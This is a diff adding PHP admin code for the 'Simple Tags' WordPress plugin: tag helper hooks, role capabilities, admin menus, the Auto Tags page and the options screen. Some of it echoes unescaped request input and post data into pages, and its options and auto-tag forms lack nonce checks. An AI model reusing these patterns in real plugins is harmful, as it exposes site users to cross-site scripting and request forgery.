+			if ( $this->options['use_click_tags'] == 1 ) {
+				add_action('edit_page_form', array(&$this, 'helperClickTags'), 1);
+			}
+			if ( $this->options['use_suggested_tags'] == 1 ) {
+				add_action('edit_page_form', array(&$this, 'helperSuggestTags'), 1);
+			}
+		}
+
+		// 16. Tags helper for post
+
+		if ( $this->options['use_click_tags'] == 1 ) {
+			add_action('edit_form_advanced', array(&$this, 'helperClickTags'), 1);
+		}
+		if ( $this->options['use_suggested_tags'] == 1 ) {
+			add_action('edit_form_advanced', array(&$this, 'helperSuggestTags'), 1);
+		}
+
+		// 17. Helper JS & jQuery & Prototype
+		global $pagenow;
+		$wp_pages = array('post.php', 'post-new.php', );
+		if ( $this->options['use_tag_pages'] == 1 ) {
+			$wp_pages[] = 'page.php';
+			$wp_pages[] = 'page-new.php';
+		}
+		$st_pages = array('st_manage', 'st_mass_tags', 'st_auto', 'st_options');
+		if ( in_array($pagenow, $wp_pages) || in_array($_GET['page'], $st_pages) ) {
+			add_action('admin_head', array(&$this, 'helperHeaderST'));
+			wp_enqueue_script('jquery');
+			wp_enqueue_script('prototype');
+			
+			if ( $this->options['use_autocompletion'] == 1 ) {
+				if ( $pagenow == 'post.php' || $pagenow == 'post-new.php' ) {
+					add_action('admin_head', array(&$this, 'remplaceTagsHelper'));
+				}
+				if ( !in_array($_GET['page'], $st_pages) ) {
+					add_action('admin_head', array(&$this, 'helperBCompleteJS'));
+				}
+			}
+		}
+
+		// 18. Helper Bcomplete JS
+		if ( $_GET['page'] == 'st_mass_tags' && $this->options['use_autocompletion'] == 1 ) {
+			add_action('admin_head', array(&$this, 'helperMassBCompleteJS'));
+		}
+
+		return;
+	}
+	
+	
+	function initRoles() {
+		if ( function_exists('get_role') ) {
+			$role = get_role('administrator');
+			if( $role != null && !$role->has_cap('simple_tags') ) {
+				$role->add_cap('simple_tags');
+			}
+			if( $role != null && !$role->has_cap('admin_simple_tags') ) {
+				$role->add_cap('admin_simple_tags');
+			}
+			// Clean var
+			unset($role);
+			
+			$role = get_role('editor');
+			if( $role != null && !$role->has_cap('simple_tags') ) {
+				$role->add_cap('simple_tags');
+			}
+			// Clean var
+			unset($role);
+		}
+	}
+
+	/**
+	 * Add WP admin menu for Tags
+	 *
+	 */
+	function adminMenu() {	
+		add_management_page( __('Simple Tags: Manage Tags', 'simpletags'), __('Manage Tags', 'simpletags'), 'simple_tags', 'st_manage', array(&$this, 'pageManageTags'));
+		add_management_page( __('Simple Tags: Mass Edit Tags', 'simpletags'), __('Mass Edit Tags', 'simpletags'), 'simple_tags', 'st_mass_tags', array(&$this, 'pageMassEditTags'));
+		add_management_page( __('Simple Tags: Auto Tags', 'simpletags'), __('Auto Tags', 'simpletags'), 'simple_tags', 'st_auto', array(&$this, 'pageAutoTags'));	
+		add_options_page( __('Simple Tags: Options', 'simpletags'), __('Simple Tags', 'simpletags'), 'admin_simple_tags', 'st_options', array(&$this, 'pageOptions'));
+	}
+	
+	/**
+	 * WP Page - Auto Tags
+	 *
+	 */
+	function pageAutoTags() {
+		$action = false;
+		if ( isset($_POST['update_auto_list']) ) {
+			// Tags list
+			$tags_list = stripslashes($_POST['auto_list']);
+			$tags = explode(',', $tags_list);
+
+			// Remove empty and duplicate elements
+			$tags = array_filter($tags, array(&$this, 'deleteEmptyElement'));
+			$tags = array_unique($tags);
+
+			$this->setOption( 'auto_list', maybe_serialize($tags) );
+
+			// Active auto tags ?
+			if ( $_POST['use_auto_tags'] == '1' ) {
+				$this->setOption( 'use_auto_tags', '1' );
+			} else {
+				$this->setOption( 'use_auto_tags', '0' );
+			}
+			
+			// All tags ?
+			if ( $_POST['at_all'] == '1' ) {
+				$this->setOption( 'at_all', '1' );
+			} else {
+				$this->setOption( 'at_all', '0' );
+			}
+			
+			// Empty only ?
+			if ( $_POST['at_empty'] == '1' ) {
+				$this->setOption( 'at_empty', '1' );
+			} else {
+				$this->setOption( 'at_empty', '0' );
+			}
+
+			$this->saveOptions();
+			$this->message = __('Auto tags options updated !', 'simpletags');
+		} elseif ( $_GET['action'] == 'auto_tag' ) {
+			$action = true;
+			$n = ( isset($_GET['n']) ) ? intval($_GET['n']) : 0;
+		}
+
+		$tags_list = '';
+		$tags = maybe_unserialize($this->options['auto_list']);
+		if ( is_array($tags) ) {
+			$tags_list = implode(', ', $tags);
+		}
+		$this->displayMessage();
+		?>
+		<div id="wpbody"><div class="wrap st_wrap">
+			<h2><?php _e('Auto Tags', 'simpletags'); ?></h2>
+			<p><?php _e('Visit the <a href="http://code.google.com/p/simple-tags/">plugin\'s homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href="mailto:amaury@wordpress-fr.net">ask me</a> !', 'simpletags'); ?></p>
+
+			<?php if ( $action === false ) : ?>
+
+				<h3><?php _e('Auto tags list', 'simpletags'); ?></h3>
+				<p><?php _e('This feature allows Wordpress to look into post content and title for specified tags when saving posts. If your post content or title contains the word "WordPress" and you have "wordpress" in auto tags list, Simple Tags will add automatically "wordpress" as tag for this post.', 'simpletags'); ?></p>
+
+				<h3><?php _e('Options', 'simpletags'); ?></h3>
+				<form action="<?php echo $this->admin_base_url.'st_auto'; ?>" method="post">
+					<table class="form-table">
+						<tr valign="top">
+							<th scope="row"><?php _e('Activation', 'simpletags'); ?></th>
+							<td>
+								<input type="checkbox" id="use_auto_tags" name="use_auto_tags" value="1" <?php echo ( $this->options['use_auto_tags'] == 1 ) ? 'checked="checked"' : ''; ?>  />
+								<label for="use_auto_tags"><?php _e('Active Auto Tags.', 'simpletags'); ?></label>
+							</td>
+						</tr>
+						<tr valign="top">
+							<th scope="row"><?php _e('Tags database', 'simpletags'); ?></th>
+							<td>
+								<input type="checkbox" id="at_all" name="at_all" value="1" <?php echo ( $this->options['at_all'] == 1 ) ? 'checked="checked"' : ''; ?>  />
+								<label for="at_all"><?php _e('Use also local tags database with auto tags. (Warning, this option can increases the CPU consumption a lot if you have many tags)', 'simpletags'); ?></label>
+							</td>
+						</tr>
+						<tr valign="top">
+							<th scope="row"><?php _e('Target', 'simpletags'); ?></th>
+							<td>
+								<input type="checkbox" id="at_empty" name="at_empty" value="1" <?php echo ( $this->options['at_empty'] == 1 ) ? 'checked="checked"' : ''; ?>  />
+								<label for="at_empty"><?php _e('Autotag only posts without tags.', 'simpletags'); ?></label>
+							</td>
+						</tr>
+						<tr valign="top">
+							<th scope="row"><label for="auto_list"><?php _e('Keywords list', 'simpletags'); ?></label></th>
+							<td>
+								<input type="text" id="auto_list" class="auto_list" name="auto_list" value="<?php echo $tags_list; ?>" />
+								<br /><?php _e('Separated with a comma', 'simpletags'); ?>
+								<?php $this->helperBCompleteJS( 'auto_list' ); ?>
+							</td>
+						</tr>
+					</table>						
+
+					<p class="submit"><input class="button" type="submit" name="update_auto_list" value="<?php _e('Update options &raquo;', 'simpletags'); ?>" />
+				</form>
+
+				<h3><?php _e('Auto tags old content', 'simpletags'); ?></h3>
+				<p><?php _e('Simple Tags can also tag all existing contents of your blog. This feature use auto tags list above-mentioned.', 'simpletags'); ?> <a class="button" style="font-weight:700;" href="<?php echo $this->admin_base_url.'st_auto'; ?>&amp;action=auto_tag"><?php _e('Auto tags all content &raquo;', 'simpletags'); ?></a></p>
+
+			<?php else:
+				// Counter
+				if ( $n == 0 ) {
+					update_option('tmp_auto_tags_st', 0);
+				}	
+
+				// Page or not ?
+				$post_type_sql = ( $this->options['use_tag_pages'] == '1' ) ? "post_type IN('page', 'post')" : "post_type = 'post'";
+
+				// Get objects
+				global $wpdb;
+				$objects = (array) $wpdb->get_results("SELECT p.ID, p.post_title, p.post_content FROM {$wpdb->posts} p WHERE {$post_type_sql} ORDER BY ID DESC LIMIT {$n}, 20");
+				
+				if( !empty($objects) ) {
+					echo '<ul>';
+					foreach( $objects as $object ) {
+						$this->autoTagsPost( $object );			
+
+						echo '<li>#'. $object->ID .' '. $object->post_title .'</li>';
+						unset($object);
+					}					
+					echo '</ul>';
+					?>
+					<p><?php _e("If your browser doesn't start loading the next page automatically click this link:", 'simpletags'); ?> <a href="<?php echo $this->admin_base_url.'st_auto'; ?>&amp;action=auto_tag&amp;n=<?php echo ($n + 20) ?>"><?php _e('Next content', 'simpletags'); ?></a></p>
+					<script type="text/javascript">
+						// <![CDATA[
+						function nextPage() {
+							location.href = '<?php echo $this->admin_base_url.'st_auto'; ?>&action=auto_tag&n=<?php echo ($n + 20) ?>';
+						}
+						window.setTimeout( 'nextPage()', 300 );
+						// ]]>
+					</script>
+					<?php
+				} else {
+					$counter = get_option('tmp_auto_tags_st');
+					delete_option('tmp_auto_tags_st');
+					echo '<p><strong>'.sprintf(__('All done! %s tags added.', 'simpletags'), $counter).'</strong></p>';
+				}
+				
+			endif;
+			$this->printAdminFooter(); ?>
+		</div></div>
+		<?php
+	}
+
+	/**
+	 * WP Page - Tags options
+	 *
+	 */
+	function pageOptions() {
+		$option_data = array(
+			'general' => array(
+				array('use_tag_pages', __('Active tags for page:', 'simpletags'), 'checkbox', '1',
+					__('This feature allow page to be tagged. This option add pages in tags search. Also this feature add tag management in write page.', 'simpletags')),
+				array('allow_embed_tcloud', __('Allow tag cloud in post/page content:', 'simpletags'), 'checkbox', '1',
+					__('Enabling this will allow Wordpress to look for tag cloud marker <code>&lt;!--st_tag_cloud--&gt;</code> when displaying posts. WP replace this marker by a tag cloud.', 'simpletags')),
+				array('auto_link_tags', __('Active auto link tags into post content:', 'simpletags'), 'checkbox', '1',
+					__('Example: You have a tag called "WordPress" and your post content contains "wordpress", this feature will replace "wordpress" by a link to "wordpress" tags page. (http://myblog.net/tag/wordpress/)', 'simpletags')),
+				array('auto_link_min', __('Min usage for auto link tags:', 'simpletags'), 'text', 10,
+					__('This parameter allows to fix a minimal value of use of tags. Default: 1.', 'simpletags')),
+				array('auto_link_case', __('Ignore case for auto link feature ?', 'simpletags'), 'checkbox', '1',
+					__('Example: If you ignore case, auto link feature will replace the word "wordpress" by the tag link "WordPress".', 'simpletags')),
+				array('no_follow', __('Add the rel="nofollow" on each tags link ?', 'simpletags'), 'checkbox', '1',
+					__("Nofollow is a non-standard HTML attribute value used to instruct search engines that a hyperlink should not influence the link target's ranking in the search engine's index.",'simpletags'))
+			),
+			'administration' => array(
+				array('use_click_tags', __('Activate click tags feature:', 'simpletags'), 'checkbox', '1',
+					__('This feature add a link allowing you to display all the tags of your database. Once displayed, you can click over to add tags to post.', 'simpletags')),
+				array('use_autocompletion', __('Activate autocompletion feature:', 'simpletags'), 'checkbox', '1',
+					__('This feature displays a visual help allowing to enter tags more easily.', 'simpletags')),
+				array('use_suggested_tags', __('Activate suggested tags feature: (Yahoo! Term Extraction API, Tag The Net, Local DB)', 'simpletags'), 'checkbox', '1',
+					__('This feature add a box allowing you get suggested tags, by comparing post content and various sources of tags. (external and internal)', 'simpletags'))					
+			),
+			'metakeywords' => array(
+				array('meta_autoheader', __('Automatically include in header:', 'simpletags'), 'checkbox', '1',
+					__('Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin "All in One SEO Pack" is installed and enabled. This feature is automatically disabled.', 'simpletags')),
+				array('meta_always_include', __('Always add these keywords:', 'simpletags'), 'text', 80),
+				array('meta_keywords_qty', __('Max keywords display:', 'simpletags'), 'text', 10,
+					__('You must set zero (0) for display all keywords in HTML header.', 'simpletags')),				
+			),
+			'embeddedtags' => array(
+				array('use_embed_tags', __('Use embedded tags:', 'simpletags'), 'checkbox', '1',
+					__('Enabling this will allow Wordpress to look for embedded tags when saving and displaying posts. Such set of tags is marked <code>[tags]like this, and this[/tags]</code>, and is added to the post when the post is saved, but does not display on the post.', 'simpletags')),
+				array('start_embed_tags', __('Prefix for embedded tags:', 'simpletags'), 'text', 40),
+				array('end_embed_tags', __('Suffix for embedded tags:', 'simpletags'), 'text', 40)
+			),
+			'tagspost' => array(
+				array('tt_feed', __('Automatically display tags list into feeds', 'simpletags'), 'checkbox', '1'),
+				array('tt_embedded', __('Automatically display tags list into post content:', 'simpletags'), 'dropdown', 'no/all/blogonly/feedonly/homeonly/singularonly/pageonly/singleonly',
+					'<ul>
+						<li>'.__('<code>no</code> &ndash; Nowhere (default)', 'simpletags').'</li>
+						<li>'.__('<code>all</code> &ndash; On your blog and feeds.', 'simpletags').'</li>
+						<li>'.__('<code>blogonly</code> &ndash; Only on your blog.', 'simpletags').'</li>
+						<li>'.__('<code>homeonly</code> &ndash; Only on your home page.', 'simpletags').'</li>
+						<li>'.__('<code>singularonly</code> &ndash; Only on your singular view (single & page).', 'simpletags').'</li>
+						<li>'.__('<code>singleonly</code> &ndash; Only on your single view.', 'simpletags').'</li>
+						<li>'.__('<code>pageonly</code> &ndash; Only on your page view.', 'simpletags').'</li>
+					</ul>'),
+				array('tt_separator', __('Post tag separator string:', 'simpletags'), 'text', 10),				
+				array('tt_before', __('Text to display before tags list:', 'simpletags'), 'text', 40),
+				array('tt_after', __('Text to display after tags list:', 'simpletags'), 'text', 40),
+				array('tt_number', __('Max tags display:', 'simpletags'), 'text', 10,
+					__('You must set zero (0) for display all tags.', 'simpletags')),
+				array('tt_inc_cats', __('Include categories in result ?', 'simpletags'), 'checkbox', '1'),
+				array('tt_xformat', __('Tag link format:', 'simpletags'), 'text', 80,
+					__('You can find markers and explanations <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">in the online documentation.</a>', 'simpletags')),
+				array('tt_notagstext', __('Text to display if no tags found:', 'simpletags'), 'text', 80),
+				array('tt_adv_usage', __('<strong>Advanced usage</strong>:', 'simpletags'), 'text', 80,
+					__('You can use the same syntax as <code>st_the_tags()</code> function to customize display. See <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">documentation</a> for more details.', 'simpletags'))
+			),
+			'relatedposts' => array(
+				array('rp_feed', __('Automatically display related posts into feeds', 'simpletags'), 'checkbox', '1'),
+				array('rp_embedded', __('Automatically display related posts into post content', 'simpletags'), 'dropdown', 'no/all/blogonly/feedonly/homeonly/singularonly/pageonly/singleonly',
+					'<ul>
+						<li>'.__('<code>no</code> &ndash; Nowhere (default)', 'simpletags').'</li>
+						<li>'.__('<code>all</code> &ndash; On your blog and feeds.', 'simpletags').'</li>
+						<li>'.__('<code>blogonly</code> &ndash; Only on your blog.', 'simpletags').'</li>
+						<li>'.__('<code>homeonly</code> &ndash; Only on your home page.', 'simpletags').'</li>
+						<li>'.__('<code>singularonly</code> &ndash; Only on your singular view (single & page).', 'simpletags').'</li>
+						<li>'.__('<code>singleonly</code> &ndash; Only on your single view.', 'simpletags').'</li>
+						<li>'.__('<code>pageonly</code> &ndash; Only on your page view.', 'simpletags').'</li>
+					</ul>'),
+				array('rp_order', __('Related Posts Order:', 'simpletags'), 'dropdown', 'count-asc/count-desc/date-asc/date-desc/name-asc/name-desc/random',
+					'<ul>
+						<li>'.__('<code>date-asc</code> &ndash; Older Entries.', 'simpletags').'</li>
+						<li>'.__('<code>date-desc</code> &ndash; Newer Entries.', 'simpletags').'</li>
+						<li>'.__('<code>count-asc</code> &ndash; Least common tags between posts', 'simpletags').'</li>
+						<li>'.__('<code>count-desc</code> &ndash; Most common tags between posts (default)', 'simpletags').'</li>
+						<li>'.__('<code>name-asc</code> &ndash; Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>name-desc</code> &ndash; Inverse Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>random</code> &ndash; Random.', 'simpletags').'</li>
+					</ul>'),
+				array('rp_xformat', __('Post link format:', 'simpletags'), 'text', 80,
+					__('You can find markers and explanations <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">in the online documentation.</a>', 'simpletags')),
+				array('rp_limit_qty', __('Maximum number of related posts to display: (default: 5)', 'simpletags'), 'text', 10),
+				array('rp_notagstext', __('Enter the text to show when there is no related post:', 'simpletags'), 'text', 80),
+				array('rp_title', __('Enter the positioned title before the list, leave blank for no title:', 'simpletags'), 'text', 80),
+				array('rp_adv_usage', __('<strong>Advanced usage</strong>:', 'simpletags'), 'text', 80,
+					__('You can use the same syntax as <code>st_related_posts()</code>function to customize display. See <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">documentation</a> for more details.', 'simpletags'))
+			),
+			'relatedtags' => array(
+				array('rt_number', __('Maximum number of related tags to display: (default: 5)', 'simpletags'), 'text', 10),
+				array('rt_order', __('Order related tags:', 'simpletags'), 'dropdown', 'count-asc/count-desc/name-asc/name-desc/random',
+					'<ul>
+						<li>'.__('<code>count-asc</code> &ndash; Least used.', 'simpletags').'</li>
+						<li>'.__('<code>count-desc</code> &ndash; Most popular. (default)', 'simpletags').'</li>
+						<li>'.__('<code>name-asc</code> &ndash; Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>name-desc</code> &ndash; Inverse Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>random</code> &ndash; Random.', 'simpletags').'</li>
+					</ul>'),
+				array('rt_format', __('Related tags type format:', 'simpletags'), 'dropdown', 'list/flat',
+					'<ul>
+						<li>'.__('<code>list</code> &ndash; Display a formatted list (ul/li).', 'simpletags').'</li>
+						<li>'.__('<code>flat</code> &ndash; Display inline (no list, just a div)', 'simpletags').'</li>
+					</ul>'),
+				array('rt_method', __('Method of tags intersections and unions used to build related tags link:', 'simpletags'), 'dropdown', 'OR/AND',
+					'<ul>
+						<li>'.__('<code>OR</code> &ndash; Fetches posts with either the "Tag1" <strong>or</strong> the "Tag2" tag. (default)', 'simpletags').'</li>
+						<li>'.__('<code>AND</code> &ndash; Fetches posts with both the "Tag1" <strong>and</strong> the "Tag2" tag.', 'simpletags').'</li>
+					</ul>'),
+				array('rt_xformat', __('Related tags link format:', 'simpletags'), 'text', 80,
+					__('You can find markers and explanations <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">in the online documentation.</a>', 'simpletags')),
+				array('rt_separator', __('Related tags separator:', 'simpletags'), 'text', 10,
+					__('Leave empty for list format.', 'simpletags')),
+				array('rt_notagstext', __('Enter the text to show when there is no related tags:', 'simpletags'), 'text', 80),
+				array('rt_title', __('Enter the positioned title before the list, leave blank for no title:', 'simpletags'), 'text', 80),
+				array('rt_adv_usage', __('<strong>Advanced usage</strong>:', 'simpletags'), 'text', 80,
+					__('You can use the same syntax as <code>st_related_tags()</code>function to customize display. See <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">documentation</a> for more details.', 'simpletags')),
+				// Remove related tags
+				array('text_helper', 'text_helper', 'helper', '', '<h3>'.__('Remove related Tags', 'simpletags').'</h3>'),
+				array('rt_format', __('Remove related Tags type format:', 'simpletags'), 'dropdown', 'list/flat',
+					'<ul>
+						<li>'.__('<code>list</code> &ndash; Display a formatted list (ul/li).', 'simpletags').'</li>
+						<li>'.__('<code>flat</code> &ndash; Display inline (no list, just a div)', 'simpletags').'</li>
+					</ul>'),
+				array('rt_remove_separator', __('Remove related tags separator:', 'simpletags'), 'text', 10,
+					__('Leave empty for list format.', 'simpletags')),
+				array('rt_remove_notagstext', __('Enter the text to show when there is no remove related tags:', 'simpletags'), 'text', 80),
+				array('rt_remove_xformat', __('Remove related tags  link format:', 'simpletags'), 'text', 80,
+					__('You can find markers and explanations <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">in the online documentation.</a>', 'simpletags')),		
+			),
+			'tagcloud' => array(
+				array('text_helper', 'text_helper', 'helper', '', __('Which difference between <strong>&#8216;Order tags selection&#8217;</strong> and <strong>&#8216;Order tags display&#8217;</strong> ?<br />', 'simpletags')
+					. '<ul style="list-style:square;">
+						<li>'.__('<strong>&#8216;Order tags selection&#8217;</strong> is the first step during tag\'s cloud generation, corresponding to collect tags.', 'simpletags').'</li>
+						<li>'.__('<strong>&#8216;Order tags display&#8217;</strong> is the second. Once tags choosen, you can reorder them before display.', 'simpletags').'</li>
+					</ul>'.
+					__('<strong>Example:</strong> You want display randomly the 100 tags most popular.<br />', 'simpletags').
+					__('You must set &#8216;Order tags selection&#8217; to <strong>count-desc</strong> for retrieve the 100 tags most popular and &#8216;Order tags display&#8217; to <strong>random</strong> for randomize cloud.', 'simpletags')),
+				array('cloud_selection', __('Order tags selection:', 'simpletags'), 'dropdown', 'count-asc/count-desc/name-asc/name-desc/random',
+					'<ul>
+						<li>'.__('<code>count-asc</code> &ndash; Least used.', 'simpletags').'</li>
+						<li>'.__('<code>count-desc</code> &ndash; Most popular. (default)', 'simpletags').'</li>
+						<li>'.__('<code>name-asc</code> &ndash; Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>name-desc</code> &ndash; Inverse Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>random</code> &ndash; Random.', 'simpletags').'</li>
+					</ul>'),
+				array('cloud_sort', __('Order tags display:', 'simpletags'), 'dropdown', 'count-asc/count-desc/name-asc/name-desc/random',
+					'<ul>
+						<li>'.__('<code>count-asc</code> &ndash; Least used.', 'simpletags').'</li>
+						<li>'.__('<code>count-desc</code> &ndash; Most popular.', 'simpletags').'</li>
+						<li>'.__('<code>name-asc</code> &ndash; Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>name-desc</code> &ndash; Inverse Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>random</code> &ndash; Random. (default)', 'simpletags').'</li>
+					</ul>'),
+				array('cloud_inc_cats', __('Include categories in tag cloud ?', 'simpletags'), 'checkbox', '1'),
+				array('cloud_format', __('Tags cloud type format:', 'simpletags'), 'dropdown', 'list/flat',
+					'<ul>
+						<li>'.__('<code>list</code> &ndash; Display a formatted list (ul/li).', 'simpletags').'</li>
+						<li>'.__('<code>flat</code> &ndash; Display inline (no list, just a div)', 'simpletags').'</li>
+					</ul>'),
+				array('cloud_xformat', __('Tag link format:', 'simpletags'), 'text', 80,
+					__('You can find markers and explanations <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">in the online documentation.</a>', 'simpletags')),
+				array('cloud_limit_qty', __('Maximum number of tags to display: (default: 45)', 'simpletags'), 'text', 10),
+				array('cloud_notagstext', __('Enter the text to show when there is no tag:', 'simpletags'), 'text', 80),
+				array('cloud_title', __('Enter the positioned title before the list, leave blank for no title:', 'simpletags'), 'text', 80),
+				array('cloud_max_color', __('Most popular color:', 'simpletags'), 'text-color', 10,
+					__("The colours are hexadecimal colours,  and need to have the full six digits (#eee is the shorthand version of #eeeeee).", 'simpletags')),
+				array('cloud_min_color', __('Least popular color:', 'simpletags'), 'text-color', 10),
+				array('cloud_max_size', __('Most popular font size:', 'simpletags'), 'text', 10,
+					__("The two font sizes are the size of the largest and smallest tags.", 'simpletags')),
+				array('cloud_min_size', __('Least popular font size:', 'simpletags'), 'text', 10),
+				array('cloud_unit', __('The units to display the font sizes with, on tag clouds:', 'simpletags'), 'dropdown', 'pt/px/em/%',
+					__("The font size units option determines the units that the two font sizes use.", 'simpletags')),
+				array('cloud_adv_usage', __('<strong>Advanced usage</strong>:', 'simpletags'), 'text', 80,
+					__('You can use the same syntax as <code>st_tag_cloud()</code> function to customize display. See <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">documentation</a> for more details.', 'simpletags'))
+			),
+		);
+
+		// Update or reset options
+		if ( isset($_POST['updateoptions']) ) {
+			foreach((array) $this->options as $key => $value) {
+				$newval = ( isset($_POST[$key]) ) ? stripslashes($_POST[$key]) : '0';
+				$skipped_options = array('use_auto_tags', 'auto_list');
+				if ( $newval != $value && !in_array($key, $skipped_options) ) {
+					$this->setOption( $key, $newval );
+				}
+			}
+			$this->saveOptions();
+			$this->message = __('Options saved', 'simpletags');
+			$this->status = 'updated';
+		} elseif ( isset($_POST['reset_options']) ) {
+			$this->resetToDefaultOptions();
+			$this->message = __('Simple Tags options resetted to default options!', 'simpletags');
+		}
+		
+		// Delete all options ?
+		if ( $_POST['delete_all_options'] == 'true' ) {
+			$this->deleteAllOptions();		
+			$this->message = sprintf( __('All Simple Tags options are deleted ! You <a href="%s">deactive plugin</a> now !', 'simpletags'), $this->info['siteurl']. '/wp-admin/plugins.php');	
+		}
+		$this->displayMessage();
+	    ?>
+		<script type="text/javascript" src="<?php echo $this->info['install_url'] ?>/inc/js/jquery.tabs.pack.js?ver=<?php echo $this->version; ?>"></script>
+		<script type="text/javascript" src="<?php echo $this->info['install_url'] ?>/inc/js/helper-options.js?ver=<?php echo $this->version; ?>"></script>
+		<div id="wpbody"><div class="wrap st_wrap">
+			<h2><?php _e('Simple Tags: Options', 'simpletags'); ?></h2>
+			<p><?php _e('Visit the <a href="http://code.google.com/p/simple-tags/">plugin\'s homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href="mailto:amaury@wordpress-fr.net">ask me</a> !', 'simpletags'); ?></p>
+			<form action="<?php echo $this->admin_base_url.'st_options'; ?>" method="post">
+				<p>
+					<input class="button" type="submit" name="updateoptions" value="<?php _e('Update options &raquo;', 'simpletags'); ?>" />
+					<input class="button" type="submit" name="reset_options" onclick="return confirm('<?php _e('Do you really want to restore the default options?', 'simpletags'); ?>');" value="<?php _e('Reset Options', 'simpletags'); ?>" /></p>
+
+				<div id="printOptions">
+					<ul class="st_submenu">
+						<?php foreach ( $option_data as $key => $val ) {
+							echo '<li><a href="#'. sanitize_title ( $key ) .'">'.$this->getNiceTitleOptions($key).'</a></li>';
+						} ?>
+						<li><a href="#uninstallation"><?php _e('Uninstallation', 'simpletags'); ?></a></li>
+					</ul>
+
+					<?php echo $this->printOptions( $option_data ); ?>
+					
+					<div id="uninstallation" style="padding:0 30px;">
+						<p><?php _e('Generally, deactivating this plugin does not erase any of its data, if you like to quit using Simple Tags for good, please erase <strong>all</strong> options before deactivating the plugin.', 'simpletags'); ?></p>
+						<p><?php _e('This erases all Simple Tags options. <strong>This is irrevocable! Be careful.</strong>', 'simpletags'); ?></p>
+						<p>
+							<input type="checkbox" value="true" name="delete_all_options" id="delete_all_options" />
+							<label for="delete_all_options"><?php _e('Delete all options ?', 'simpletags'); ?></label></p>						
+					</div>
+				</div>
+
+				<p>
+					<input class="button" type="submit" name="updateoptions" value="<?php _e('Update options &raquo;', 'simpletags'); ?>" />
+					<input class="button" type="submit" name="reset_options" onclick="return confirm('<?php _e('Do you really want to restore the default options?', 'simpletags'); ?>');" value="<?php _e('Reset Options', 'simpletags'); ?>" /></p>
+			</form>
+	    <?php $this->printAdminFooter(); ?>
+	    </div></div>
+	    <?php
+	}
+
+	/**
+	 * WP Page - Manage tags
+	 *
+	 */
+	function pageManageTags() {
+		// Control Post data
+		if ( isset($_POST['tag_action']) ) {
+			// Origination and intention
+			if ( !wp_verify_nonce($_POST['tag_nonce'], 'simpletags_admin') ) {
+				$this->message = __('Security problem. Try again. If this problem persist, contact <a href="mailto:amaury@wordpress-fr.net">plugin author</a>.', 'simpletags');
+				$this->status = 'error';
+			}
+			elseif ( $_POST['tag_action'] == 'renametag' ) {
+				$oldtag = (isset($_POST['renametag_old'])) ? $_POST['renametag_old'] : '';
+				$newtag = (isset($_POST['renametag_new'])) ? $_POST['renametag_new'] : '';
+				$this->renameTags( $oldtag, $newtag );
+			}
+			elseif ( $_POST['tag_action'] == 'deletetag' ) {
+				$todelete = (isset($_POST['deletetag_name'])) ? $_POST['deletetag_name'] : '';
+				$this->deleteTagsByTagList( $todelete );
+			}
+			elseif ( $_POST['tag_action'] == 'addtag'  ) {
+				$matchtag = (isset($_POST['addtag_match'])) ? $_POST['addtag_match'] : '';
+				$newtag   = (isset($_POST['addtag_new'])) ? $_POST['addtag_new'] : '';
+				$this->addMatchTags( $matchtag, $newtag );
+			}
+			elseif ( $_POST['tag_action'] == 'editslug'  ) {
+				$matchtag = (isset($_POST['tagname_match'])) ? $_POST['tagname_match'] : '';
+				$newslug   = (isset($_POST['tagslug_new'])) ? $_POST['tagslug_new'] : '';
+				$this->editTagSlug( $matchtag, $newslug );
+			} elseif ( $_POST['tag_action'] == 'cleandb'  ) {
+				$this->cleanDatabase();
+			}
+		}
+
+		// Manage URL
+		$sort_order = ( isset($_GET['tag_sortorder']) ) ? attribute_escape(stripslashes($_GET['tag_sortorder'])) : 'desc';
+		$search_url = ( isset($_GET['search']) ) ? '&amp;search=' . stripslashes($_GET['search']) : '';
+		$action_url = $this->admin_base_url . attribute_escape(stripslashes($_GET['page'])) . '&amp;tag_sortorder=' . $sort_order. $search_url;
+
+		// TagsFilters
+		$order_array = array(
+			'desc' => __('Most popular', 'simpletags'),
+			'asc' => __('Least used', 'simpletags'),
+			'natural' => __('Alphabetical', 'simpletags'));
+
+		// Build Tags Param
+		switch ($sort_order) {
+			case 'natural' :
+				$param = 'number='.$this->nb_tags.'&hide_empty=false&cloud_selection=name-asc';
+				break;
+			case 'asc' :
+				$param = 'number='.$this->nb_tags.'&hide_empty=false&cloud_selection=count-asc';
+				break;
+			default :
+				$param = 'number='.$this->nb_tags.'&hide_empty=false&cloud_selection=count-desc';
+				break;
+		}
+
+
+		// Search
+		if ( !empty($_GET['search']) ) {
+			$search = stripslashes($_GET['search']);
+			$param = str_replace('number='.$this->nb_tags, 'number=200&st_name_like='.$search, $param );
+		}
+
+		$this->displayMessage();
+		?>
+		<div id="wpbody"><div class="wrap st_wrap">
+			<h2><?php _e('Simple Tags: Manage Tags', 'simpletags'); ?></h2>
+			<p><?php _e('Visit the <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">plugin\'s homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href="mailto:amaury@wordpress-fr.net">ask me</a> !', 'simpletags'); ?></p>
+			<table>
+				<tr>
+					<td class="list_tags">
+						<fieldset class="options" id="taglist">
+							<legend><?php _e('Existing Tags', 'simpletags'); ?></legend>
+
+							<form method="get">
+								<p>
+									<label for="search"><?php _e('Search tags', 'simpletags'); ?></label><br />
